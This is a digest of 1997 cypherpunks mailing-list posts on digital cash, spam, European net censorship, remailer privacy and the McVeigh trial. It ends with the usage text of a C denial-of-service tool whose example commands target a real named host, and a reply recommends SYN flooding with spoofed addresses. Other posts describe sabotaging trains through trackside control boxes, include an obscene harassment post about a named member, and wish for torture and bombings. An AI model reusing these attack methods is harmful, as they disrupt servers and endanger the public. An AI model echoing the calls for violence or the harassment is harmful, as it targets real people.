Message-ID: <v03020996afbdd9c934e1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 6 Jun 1997 10:05:34 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Re: e$: The greater fool theory of Digicash, quantified, roughly

At 2:54 am -0400 on 6/6/97, somebody wrote:


> I don't think Chaum is in it for the money.  You say he has family money.
> This fact makes my contention more likely.

The paradox, of course, is that money is just a way of keeping score. :-).

If Chaum's aim was to make the blind signature patent as ubiquitous as
possible, he's failed just as miserably as if he were trying to make money
on it.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 6 Jun 1997 23:31:06 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <LN1u8D22w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970606111448.3131B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I believe I received your response after I compiled the list.

I disagree with most of the folks below, but I included their positions
nevertheless. (Anyway, I suspect we agree on spam.)

-Declan



On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@well.com> writes:
> 
> > Yesterday I forwarded questions about spam from a friend who was speaking
> > before the FTC next week. Here are most of the replies I received, which
> > I've attached below. Some may have appeared here already.
> >
> > From: glee harrah cady <glee@netcom.com>
> > From: Wei Dai <weidai@eskimo.com>
> > From: Stanton McCandlish <mech@eff.org>
> > From: Robert Moskowitz <rgm3@chrysler.com>
> > From: "Halpert, James - DC" <jhalpert@pipermar.com>
> > From: Azeem Azhar <aja@economist.com>
> > From: Mark Grant <mark@unicorn.com>
> > From: Charlie Stross <charlie@public.antipope.org>
> > From: Bill Frantz <frantz@netcom.com>
> > From: "Shabbir J. Safdar" <shabbir@vtw.org>
> > From: djones@insight.dcss.McMaster.CA (David Jones)
> > From: wyang@ktel.osc.edu
> > From: clinton@annoy.com (Clinton at Annoy)
> > From: Eric Murray <ericm@lne.com>
> > From: Ray Everett-Church <ray@everett.org>
> > From: Chris Poupart <jyhad@odyssee.net>
> > From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
> > From: Roger Bohn <Rbohn@UCSD.edu>
> >
> 
> Declan didn't like what I wrote, so he deleted it.
> Good journalism.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:10:58 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: McVeigh
In-Reply-To: <Pine.SUN.3.96.970605115923.891A-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.91.970606111429.1642G-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Yes, he is guilty of murder and I would favour torturing him to death 
> > slowly, this is not emotional reactionism, merely a desire for justice 
> > and fair punishment.
> 
> You do not know for a fact if he is guilty of murder.  You only know that
> he was judged guilty.  Whatever the truth is, you and I, and everyone else
> discussing this, cannot know.  McVeigh himself knows if he did it.
> Witnesses (if any) would also know.  This is all speculation.

I thought in my post I qualified that statement with a "If he did it" 
line, whatever, it doesn`t really matter, the government will always find 
someone to blame. From now on, in this thread, asssume McVeigh == 
"McVeigh, if he did it"

> Personally, I didn't.  I don't call for slow torture because to me, it
> isn't justice or injustice.  I was not affected by his actions.  If he did
> set off the bomb, life in death, or execution is a valid punishment.  I do
> question your reasoning for calling for torture though.  How is that fair
> punishment and justice?

I don`t really judge it in terms of punishment or as justice or as "fair 
trade". McVeigh took an extreme criminal act of agression against 
innocent people, I believe that implicit in that act (once proven) is the 
removal of his rights, that includes the "right not to be tortured" <tm>.
I was not directly affected by his actions, and I`m not at all affected 
by images of death and destruction anyway, I don`t hate McVeigh, I don`t 
have any personal grudge against him or need to see him punished, I 
merely recognise that he has surrendered his rights, any punishment is 
acceptable, whether it is fitting or not is a different thread.

The only reason I have any reservations whatsoever about the death 
penalty in this particular case is because, although I personally believe 
McVeigh is guilty, there was enough reasonable doubt to get a not-guilty 
verdict.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 7 Jun 1997 03:00:03 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706061822.LAA23129@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Now is the time for all good little boys to cum in Tim C. May's big mouth.

            >\\\|/<
            |_    ;
            (O) (o)
        -OOO--(_)--OOOo- Tim C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 00:47:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Privacy-loving Europeans are at it again
In-Reply-To: <v03102804afbdd3e3c49f@[207.167.93.63]>
Message-ID: <199706061640.LAA09733@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102804afbdd3e3c49f@[207.167.93.63]>, on 06/06/97 
   at 07:50 AM, Tim May <tcmay@got.net> said:


>At 5:19 AM -0700 6/6/97, John Young wrote:
>>The New York Times reports on page one the German
>>prosecution of a woman who linked her home page to
>>Radikal. It reviews XS4ALL's role, describes Radikal
>>and its mirror sites and links to them all:
>>
>>   http://www.nytimes.com/library/cyber/week/060697germany.html
>>
>>It says that Kohl is determined to find a way to police the
>>Net in spite of technical work-a-rounds.
>>
>>Recall a previous report that Kohl and other heads of state are
>>to meet in Denver on June 20-22 to plan a global attack
>>on "cyber-terrorism," including the spread of encryption:
>>
>>   http://jya.com/denver.htm


>Wait a minute, John! Aren't these the same Europeans described by Marc
>Rotenberg as being more privacy- and liberty=loving than Americans?

Perhaps someone could donate a Rider Truck for the evnet. <EG>

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 6 Jun 1997 23:56:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy-loving Europeans are at it again
Message-ID: <1.5.4.32.19970606154557.0089c1e0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>Wait a minute, John! Aren't these the same Europeans described by Marc
>Rotenberg as being more privacy- and liberty-loving than Americans?

Indeed, the same. The same as those righteous pastors 
who nudged us youngsters to sow oats across the Rio Grande
to protect the virtue of innocents who were delighted to sneak
away to join us and the mestizos in the dry creek bed just 
outside town.

The same as the generals and pols who now hector and
lecture us to deny their seignorial infidelities and cover-ups.

Heads of state, leaders of armies, defenders of law, hah!

Best show in years, watching these pigfesters finger each 
other while seen-it-all Virtue and Justice laugh and crook 
up the next quaverer ashaking.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 00:50:14 +0800
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: Webpage picketing
In-Reply-To: <199706061436.KAA18298@dhp.com>
Message-ID: <199706061642.LAA09793@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706061436.KAA18298@dhp.com>, on 06/06/97 
   at 10:36 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:


>On Fri, 06 Jun 97 00:24:59 -0500, "William H. Geiger III" 
><whgiii@amaranth.com> said:

>>Well down here in Pensacola where we like to shoot abortion doctors I
>>beleive that there is a 50' seperation (other side of the street).

>Actually, this law was lobbied for by Zeiss Optical.  They're trying to
>increase sales of rifle scopes.

Heh, the free market will always find a workaround to government
regulation. :))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 7 Jun 1997 08:02:57 +0800
To: cypherpunks@toad.com
Subject: First shots in Smart Wars
Message-ID: <v03020900afbde63f9e5c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: iang@hotlava.net
Precedence: Bulk
Date:  6 Jun 1997 15:20:35 -0000
From: iang@hotlava.net
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  First shots in Smart Wars

Folks,
the smart wars have started.  This recently erupted in the Dutch press
after bubbling along in the committee rooms for the last year.
What follows is a translation and I may have lots of errors in there...

This is significant because it signals a new phase in the industry of
head-to-head competition for reputation and market share, using all the
FUD and scare tactics that big ignorant players have available to them.
At this point we can conclude that anyone who is not already fielding
systems has probably missed the boat.  Although this is only a boat
travelling up the Amstel for now, there are some famous people waving
tearfully from the wharf.

It doesn't necessarily mean the end of DBBs as they are a concept
that promise efficiency gains over the current mechanism.  But it
does mean that it will be a long drawn out battle, as any usage of
same must be supported by other innovations in order to compete with
large, well-heeled and scared competitors.

iang

-------
On Wednesday, Postbank announced introduction of the combined debit-card
and Chipper-chip with two codes: one PIN code (as meant in ISO 9564-1) and
one chipcode (10202-6). The PIN code is for debit-cards with magstripe and
the chipcode for using the smartcard functionality (including purse). They
stated that using two codes was a requirement from the central bank and
that they were suprised that the other smartcard initiative (chipknip) was
allowed to use only one code for both debit-card and purse-application.

DNB (the Dutch National Bank) were asked for comment (Wednesday) and they
denied that they instructed Postbank to use two codes. Postbank did not
want to explain any further in the open press about why they chose 2 codes
and kept on referring to DNB.  Meanwhile a spokesman for RABO, one of the
banks in the competing initiative, spoke out publicly (and frequently) that
chipknip only used one code and that there was no requirement to use two
codes for the two applications. The spokesman also stated that it would be
possible to use this one code in a user's smart card "home-loading" devices
(the so-called 'chipknipper').

On Thursday (so in the Friday newspapers) DNB informed the press that DNB
uses international standards as a reference point in their review of card
schemes. Operators of schemes make their own decisions within the framework of
these standards. DNB only checks, depending on the choice made, which part
of the standards apply and whether the implementation complies to the
relevant part of the standard. The ISO-standards used will basically relate the
use of a code to the security level of loading device. If a scheme operator
chooses to synchronize the chipcode with the PIN-code, the more stringent
PIN-code protection regime applies for that chipcode: it should be
physically secure instead of merely tamper-evident.

DNB stated that in the case of PIN-synchronisation one could view the use of
loading terminals in or attached to banks as compliant with the ISO
standards. DNB also stated that in the case of PIN-synchronization it had
not been demonstrated that other (home-loading) equipment would comply with
the requirements in the international standards.

Volkskrant, the Dutch daily newspaper, concluded that RABO might want to
reconsider using one code, since the use of this code in a home environment
did not seem to comply with international standards. Trouw, another daily,
analyzed that in the chipcard battle Postbank had scored a point as they
were able to use their chipper in home environments with the chipcode and
other banks obviously were not in that position. RABO meanwhile continued
to state that they would roll out the home-loading devices at the end of
the year and that these devices were technically superior, which would be
the reason that no other code was necessary.
---
----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 7 Jun 1997 00:39:24 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: NYT on German Net Police
Message-ID: <1.5.4.32.19970606162733.00915478@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:

>> Recall a previous report that Kohl and other heads of state are
>> to meet in Denver on June 20-22 to plan a global attack
>> on "cyber-terrorism," including the spread of encryption:
>>
>>    http://jya.com/denver.htm
>
>Wow. What an opportunity for street theater *that* might be...


Excellent suggestion, Agent Provocateur (AP) Bob.

There is surely a PR connection between the McVeigh trial and the
cyber-terrorism summit. That promo's crucial for the counterterrorism
juggernaut.

Now, what would be the cyber-version of street theater?

For examp, the security arrangements for the trial will be broadened, 
and artfully leaked to the Denver-ensconced and equipped media, to 
promote and protect the priceless Derrieres of State.

But what might cyber-terribles do to work-a-round the highly
classified meat protections?

Confidential commo is crucial to yarping pols and talking heads, 
uplinks and unedited feeds are going to be zapping 'round the 
globe. What liberating theatrics could be exhibited spoofing, 
cracking, hacking, phreaking these urgent communiques to
ardent tax-henchers and sofa-ensconced tubers. 

Denver's Judge Downes sent a missive in plaintext to IRS, a 
spit in the bucket another Bob said. What about a bigger oyster
hawk at the lens and mikes of the leaders of the free worlds?

Do nothing illegal, for sure, just civilly disobedient.

(We'll put Downes's 17-age ruling up in a while.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Sat, 7 Jun 1997 00:57:59 +0800
To: cypherpunks@cyberpass.net
Subject: more GAK crap
Message-ID: <CMM.0.90.4.865615891.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



>From today's Nando Times...

Meeting reportedly will aim to fight obscenity on Internet

Copyright 1997 Nando.net
Copyright 1997 Agence France-Presse

TOKYO (June 6, 1997 11:43 a.m. EDT) - Japan, the United States and
European nations will hold an unprecedented ministerial
meeting next month to study ways to restrict obscenity on the Internet
and regulate electronic commerce, it was reported Friday.

The meeting in Bonn July 6-8 will focus on measures to crack down on
obscene and violent pictures on the Internet, Jiji Press
quoted informed sources as saying.

It will also discuss universal criteria for encoding information in
electronic commerce to protect private information, Jiji said.

Japan will be represented by the posts and telecommunications minister,
Hisao Horinouchi, the sources said.

-----

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 05:02:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thomases lose appeal in second case
In-Reply-To: <3.0.1.32.19970606095702.0073a340@popd.ix.netcom.com>
Message-ID: <199706062054.NAA02790@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

 > Remember the Amateur Action BBS case from 1994, when Robert
 > Thomas got convicted by a Federal court in Tennessee for
 > distributing pornography on his BBS in California?

Yes, indeed.  Some outraged citizen in Tennessee bitched that he
carried nudist pictures of minors on the BBS.  Those weren't
illegal, but an enterprising federal agent then joined the BBS in
an attempt to screw the Thomases.  He sent them unsolicited child
porn, used it as an excuse to raid their residence and seize all
their equipment, and finally got a conviction over some
bestiality pictures which were technically illegal in Tennessee,
although such material could be found in local porn shops only a
few blocks from the prosecutor's offices.

 > Well, he was also prosecuted in Utah for distributing
 > pornography from the BBS (the Merc doesn't say if it was a
 > state or federal prosecution, but it looks like state), and
 > he just lost his appeal in Federal court.

After the feds finished giving the Thomases an anal reaming in
Tennessee, they recalled that Utah was one of the few states
conservative enough (along with Ohio, I believe) to include all
nude depictions of minors in its child pornography statutes. They
then arranged to have the Thomases dragged from Tennessee to Utah
to be reamed again, this time by the Mormons.

 > One of his defense arguments was double jeopardy, and the
 > court rejected that because the Utah court busted him for
 > different pictures than the Tennessee court.

Right.  Tennessee busted him for bestiality pics.  Utah busted
him for pictures of happy children playing outdoors au natural.
Of course naked children were really the hidden agenda behind the
Tennessee prosecution too, if the truth be known.

 > While distributing child pornography is reprehensible, it's
 > still none of Utah's business;

The hardcore child porn business is reprehensible.  The nude
children playing tennis business less so, depending upon ones
religious and political affiliation, of course.

 > the ACLU lawyer defending Thomas says there's no evidence
 > that any Utah citizens actually downloaded any (except the
 > police).

The appeals courts are going to play hardball with the Thomases
until they repent and shut down their BBS, which no longer does
business with the states of Utah, North Carolina, and Tennessee.

"Continuing to engage in the enterprise" has been cited in a
former appeals court ruling as a reason why the long prison
sentences given the Thomases were supposedly justified.

I believe it was George Wallace who commented that the United
States was in reality run by "Thugs and Federal Judges."

I tend to agree.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Fri, 6 Jun 1997 22:40:30 +0800
To: cypherpunks@cyberpass.net
Subject: One more step...
Message-ID: <33981dd6.622179@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


I received this in the morning CNET news:

HOW PRIVATE IS YOUR NET SURFING? FBI VS. CDT BATTLE WILL DECIDE
   http://www.news.com/Radio/index.html?nd

At the FTC's online privacy hearings next week, the debate will turn
on the
FBI's right to "intercept" information on the Net. Listen to CNET
Radio to see
why the Center for Democracy and Technology wants the spooks to back
off.


  So where does the FBI think they get their 'right' to intercept net
traffic?
Who knows, but I'm sure its already happening and will continue to
happen no
matter what the FTC rules.

  Brian


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----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 7 Jun 1997 03:12:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Webpage picketing
In-Reply-To: <199706061642.LAA09793@mailhub.amaranth.com>
Message-ID: <97Jun6.150455edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



If I get spammed, one of my responses is to use a software agent to fill
out whatever response forms they have with nonsense that gets past their
filters.  Lynx has some very nice features for this.  Some sites charge by
the hit, so continually hitting a web page (so the counter is incremented) 
can also send the message. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenjen <jsong@aig.com>
Date: Sat, 7 Jun 1997 06:48:07 +0800
To: cypherpunks@toad.com
Subject: Mixture Generation vs. Moduler Exponantion Approach?
Message-ID: <33989243.77E7@aig.com>
MIME-Version: 1.0
Content-Type: text/plain



Recently I learned a new crypto algorithm--RPK (see www.rpk.co.nz).
It's based on mixture generator (MG) approach and claims much faster
than all existing public-key crypto-algorithms. But some people argue
that MG is not much different from moduler exponantiation (ME) approach,
which has been used in some existing crypto-algorithms. Therefore, RPK
may not be that much faster than others.

I'm new in this field and not sure whether these 2 approaches (Mixture
Generation vs. Moduler Exponantiation) are very different or not?
Can MG be much faster than ME or no much difference?
Would you help me with these questions or point me to a right direction?
I'd appreciate your help.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roger J Jones <cyber@ibpinc.com>
Date: Sat, 7 Jun 1997 04:56:10 +0800
To: "'cypherpunks@cyberpass.net>
Subject: FW: TV Commercial
Message-ID: <01BC7290.D17E3E60@PC1901>
MIME-Version: 1.0
Content-Type: text/plain



Having spent a fair amount of time on the high seas on gray ships I found the following interesting in that:

1)  Back in WWII days Aldis lamps were a pretty good option.  Unless you had a submerged enemy sub in your convoy you would most likely notice anyone who could intercept your communications.  Since of course convoys could travel faster than submerged subs the exposure was also limited in time.  Add of course the fact that most of the messages were in code, frequently unique for a given transit.

2)  Consider the changes in today's environment:
a) Image intensifying lenses make over the horizon (cloud bounce) reception possible.
b) Subs can move faster underwater than most surface ships.
c) Satellites could pick up the light pulses - either directly (if low horizon) or reflectively (off the water)
d) I suppose that the right spectrum could also pick up the heat caused by the filament of the lamp.

Of course, since it now takes about 45 gizillion people on a ship to "sign out" a message for release, the only messages that go out over Aldis lamps are the signalmen swapping scuttlebutt and sea stories in the name of "on the job training"

"Fair winds and following seas!"
An old salt.

-----Original Message-----
From:	Bill Frantz [SMTP:frantz@netcom.com]
Sent:	Friday, June 06, 1997 11:13 AM
Subject:	Re: TV Commercial

 At 12:34 AM -0700 6/6/97, David Lucas wrote:
>It's a nice thought, but the image is all wrong. Two ships communicating
>via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
>isn't what I would call very secure communication.

Well, the Japanese managed to keep secure communications when sneeking up
on Pearl Harbor, and I assume they used something similar for ship-to-ship
communications.  Narrow beam, and everyone who can receive is in sight is
nice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 08:28:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706062334.SAA25668@manifold.algebra.com>
Message-ID: <199706062352.QAA18259@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor writes:

[C program which allegedly does a DoS attack on a server]

I thought the correct way to do this was to spew packets with random
return addresses and fill up the host's listen table with half open TCP
connections waiting to time out. 

Opening 1,000 genuine TCP connections to a host wastes both the host's
resources as well as yours, and is a tad obvious should your target
log packets with your IP address in them. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0093.myriad.ml.org (Matthew Ghio)
Date: Sat, 7 Jun 1997 08:29:44 +0800
To: cypherpunks@cyberpass.net
Subject: Who subscribes to the list?
Message-ID: <199706070022.RAA04412@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



If you're worried that someone might find out who is subscribed to the list
by querying some of the majordomos, don't bother.  I already have a list of
all your IP addresses.

Sendmail has a nice feature which checks all the sender or recipient
addresses by doing DNS lookups on them.  My nameserver is watching you. :)


P.S. I'm sure none of you would be foolish enough to use penet-style
remailers which do not encrypt the message headers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Sat, 7 Jun 1997 08:36:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy-loving Europeans are at it again
Message-ID: <3398AB5F.3CB8D846@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain



It's not clear from the attributions who originally wrote:

>>>The New York Times reports on page one the German
>>>prosecution of a woman who linked her home page to
>>>Radikal. It reviews XS4ALL's role, describes Radikal
>>>and its mirror sites and links to them all:
>>>
>>> http://www.nytimes.com/library/cyber/week/060697germany.html

This story was stale soon after it hit the "presses." The trial
is on hold as the government looks (in vain?) for expert
witnesses who support their position.

In unrelated news, Reuters is reporting that the head of
CompuServe's operations in Germany, the guy who is being sued in
Munich on kiddie porn charges, is leaving to start his own
company.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Sat, 7 Jun 1997 08:41:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <Pine.GUL.3.95.970606173457.7265B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I have reasonable doubts as to whether
Paul Bradley <paul@fatmans.demon.co.uk> wrote:

> > not! The major reason people can't live together is furnished by
> > politicians who feel they should make it to history books ;-(
> 
> Tims post made a good point, people soon forget the causes of conflict 
> and only see the effects, today, hardly anyone in the UK sees the IRA as 
> an organisation devoted to liberating NI, merely a bunch of thugs. Of 
> course they have brought this on themselves by indiscriminately blowing 
> things up. Talking of which the Queen is visiting Hastings (a town about 
> 5 miles from me) today, I hope the IRA blow her up...

How many Irish nationalists do you know? The ones I know consider the
IRA to be a bunch of thugs. Their attitude towards sympathizers in the
US is similar to the attitude most Israelis have towards the kind of
American wackos who killed Rabin. That's probably too nuanced for you,
so to simplify: I think they're a bunch of thugs. They're just as
thuggish towards "their own" as they are towards the Loyalists. Express
a moderate or humanistic point of view in certain NI neighborhoods and
the IRA thugs will make sure you're censored for good. AS Bill Frantz
pithed a few weeks ago: the problem is not anarchy -- the problem is
too many competing governments in one place. Thuggery isn't the answer
to historical thuggery.

- -rich
 http://www.stanford.edu/~llurch/

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 7 Jun 1997 08:54:38 +0800
To: cypherpunks@Algebra.COM
Subject: Privacy in Europe
Message-ID: <Pine.3.89.9706061758.A25516-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain



The recent post by John Young about the German woman charged with linking 
to Radikal caused me to investigate this issue.

You may have heard that Radikal had an article on sabotaging train
systems. The article simply stated that if you break open a certain type
of control box found next to train tracks and yank the circuit boards, the
trains will refuse to enter the given track segment. Hardly the worst of
possible sabotages and considerably less fatal than other methods discussed
on a mailing list near you. 

BTW, the woman has now been slapped with a new charge. Apparently it is 
illegal in Germany to publish criminal complaints. [Due to privacy 
regulations?]

Since the woman has the official paperwork detailing the charges against
her on her web site, she has now been charged *again* for violating the
prohibition against publishing the official court documents. 

Things are better in Europe? You must to be joking.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0094.myriad.ml.org (Matthew Ghio)
Date: Sat, 7 Jun 1997 09:20:04 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070022.RAA04412@myriad.alias.net>
Message-ID: <199706070111.SAA15372@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> >P.S. I'm sure none of you would be foolish enough to use penet-style
> >remailers which do not encrypt the message headers.
> 
> 
> Your point being??


While I am sure most readers of this list are well aware that remailed
messages which are not encrypted and chained are not secure, there is a
class of users who are not yet aware of this fact.  I was pointing out
the relative ease with which their identities could be compromised by
someone simply logging DNS traffic.  In addition, there was some recent
discussion over whether or not it was possible to obtain the subscriber
list from cyberpass.net and algebra.com.  Even if the subscriber list
is not published, there is an alternative method to determine who
subscribes to the list.

There are, of course, other methods, such as Return-Receipt headers and
embedded html tags, but tracking DNS traffic tends to be easy to do on
a wide scale without alerting the subjects that you are investigating.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 07:41:21 +0800
To: bugtraq@netspace.org
Subject: Trash your Enemy's Server
Message-ID: <199706062334.SAA25668@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



/***************************************************************************/
/* con_dos.c -- Denial Of Service by opening many dangling TCP Connections */
/* Copyright(C) 1997 Ignoramus_Chewed-Off@algebra.com                      */
/***************************************************************************/

const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

